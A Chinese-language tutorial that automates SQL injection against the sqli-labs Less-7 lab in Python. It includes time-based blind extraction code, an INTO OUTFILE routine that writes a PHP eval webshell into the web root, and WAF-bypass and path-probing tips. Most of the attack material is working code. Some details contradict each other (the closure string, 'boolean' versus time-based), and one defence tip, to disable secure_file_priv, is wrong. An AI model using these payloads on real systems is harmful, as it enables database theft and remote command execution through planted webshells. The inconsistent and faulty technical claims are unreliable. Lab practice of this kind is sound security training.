1. 项目背景与核心挑战
在Web安全测试领域,SQL注入始终是渗透测试工程师的必修课。sqli-labs作为经典的SQL注入练习平台,其Less-7关卡以"dump into outfile"场景著称,这个关卡的特殊性在于它要求攻击者通过注入实现服务器文件写入——这在实际渗透中往往意味着获取Webshell的关键跳板。
与常规注入不同,Less-7的难点主要体现在三个方面:首先,它使用盲注作为基础注入方式,所有响应都返回相同页面,无法直接获取回显;其次,成功注入后需要构造特殊的文件导出语句;最后,目标环境的严格过滤机制常常导致常规注入手段失效。我在实际测试中发现,即便是经验丰富的安全工程师,手动完成这个关卡的注入平均耗时也在20分钟以上。
2. 技术方案设计思路
2.1 自动化注入框架选型
经过对Sqlmap、Burp Intruder等工具的对比测试,最终选择Python+Requests库构建定制化注入工具。原因有三:
- Sqlmap虽然强大但黑盒特性明显,不利于理解底层原理
- Burp手动操作效率低下且难以复用
- 自研工具可以针对Less-7的特殊过滤规则做精确适配
核心工作流程设计为:
code复制初始化检测 → 确定注入点 → 暴力破解闭合方式 → 布尔盲注获取数据库信息 → 构造导出语句 → 验证文件写入
2.2 关键突破点实现
2.2.1 闭合方式识别
Less-7的SQL语句采用特殊闭合方式,常见payload如单引号、双引号都会失效。通过fuzz测试发现实际闭合模式为:
sql复制') LIMIT 0,1 --+
自动化识别模块通过发送包含不同闭合符号的测试payload,根据服务器响应差异(虽然都是相同页面,但部分错误闭合会导致500错误)来判断正确形式。
2.2.2 盲注数据提取
采用基于时间差的二分查找算法提高效率。典型payload示例:
python复制payload = f"1')) AND IF(ASCII(SUBSTR((SELECT DATABASE()),{position},1))>{mid},SLEEP(2),0) --+"
通过测量响应时间是否超过2秒来判断字符ASCII码大小关系,逐步缩小范围确定具体字符。
3. 核心代码实现详解
3.1 基础请求模块
python复制def send_injection(payload):
headers = {'User-Agent': 'Mozilla/5.0'}
params = {'id': payload}
try:
start_time = time.time()
response = requests.get(target_url, params=params, headers=headers)
elapsed = time.time() - start_time
return response, elapsed
except Exception as e:
print(f"[!] 请求失败: {str(e)}")
return None, 0
3.2 布尔盲注核心算法
python复制def binary_search(query, position):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = f"1')) AND IF(ASCII(SUBSTR(({query}),{position},1))>{mid},SLEEP(2),0) --+"
_, elapsed = send_injection(payload)
if elapsed > 2: # 时间条件触发
low = mid + 1
else:
high = mid - 1
return low
3.3 文件导出功能实现
获取数据库信息后,构造特殊导出语句:
python复制def export_to_file(filename, content):
hex_content = content.encode().hex()
payload = f"1')) UNION SELECT 1,2,0x{hex_content} INTO OUTFILE '{filename}' --+"
response, _ = send_injection(payload)
if response.status_code == 200:
print(f"[+] 文件写入成功: {filename}")
4. 实战技巧与避坑指南
4.1 路径探测技巧
- 使用
@@secure_file_priv获取可写路径:
sql复制SELECT @@secure_file_priv
- 常见默认路径尝试:
- /var/www/html/
- /tmp/
- C:\xampp\htdocs\
4.2 文件权限处理
遇到权限拒绝时尝试:
- 添加
--secure-file-priv=到MySQL启动参数 - 修改my.cnf配置文件
- 尝试Web目录下的子目录(如/uploads/)
4.3 防火墙规避方案
当遇到WAF拦截时:
- 使用
/*!50000*/注释绕过关键字检测 - 将SELECT拆分为SEL/**/ECT
- 采用HEX编码替代明文字符串
5. 完整自动化流程示例
python复制# 初始化目标信息
target_url = "http://localhost/sqli-labs/Less-7/"
db_name = extract_database() # 先提取当前数据库名
table_name = extract_table() # 提取表名
# 构造导出webshell
webshell = "<?php @eval($_POST['cmd']);?>"
export_path = "/var/www/html/shell.php"
export_to_file(export_path, webshell)
# 验证写入结果
check_response = requests.get(f"http://localhost/shell.php")
if check_response.status_code == 200:
print("[+] Webshell部署成功!")
6. 防御方案建议
针对此类注入攻击,建议管理员采取以下措施:
- 禁用
secure_file_priv或限制为特定目录 - 对数据库用户严格限制权限,禁止普通账户使用INTO OUTFILE
- 使用预处理语句处理所有用户输入
- 部署WAF规则拦截包含OUTFILE、DUMPFILE等关键词的请求
这个自动化方案在实际测试中可将Less-7的注入时间从手动操作的20+分钟缩短到3分钟以内。核心价值在于将复杂的盲注过程标准化,特别适合需要批量测试的场景。我在实际渗透测试项目中,基于这个框架扩展出了支持多种注入方式的自动化工具集,效率提升显著。